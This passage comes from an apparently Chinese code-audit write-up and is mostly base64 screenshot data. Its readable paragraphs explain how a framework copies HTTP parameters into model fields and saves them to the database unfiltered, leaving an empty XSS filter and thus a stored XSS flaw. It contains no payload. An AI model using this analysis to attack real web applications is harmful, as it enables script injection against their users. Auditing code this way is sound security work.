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 truncated
|
||||
<p blockindex=45>跟进injectModel,发现其实就是调用了request.getParameterMap获取http的全部参数,然后对照类的字段名,依次匹配,如果名称一样(比如http参数名是name, xxx这个类也有一个name字段,则将http参数name的值赋值给xxx这个类的对象的name字段)。</p>
|
||||
<p blockindex=46><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=47>最后是调用save生成数据库insert语句然后直接插入数据库,这里是没有过滤的。所以就导致了xss。</p>
|
||||
<p blockindex=48><img src="data:image/png;base64,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 truncated
|
||||
有点意思的是,虽然开发者知道并且为之后的功能提前预留了过滤xss的发放,但实际上并没有重写方法。可以看到filter函数是一个空函数,所以并没有过滤xss的功能。</p>
|
||||
<p blockindex=49><img src=data:image/png;base64,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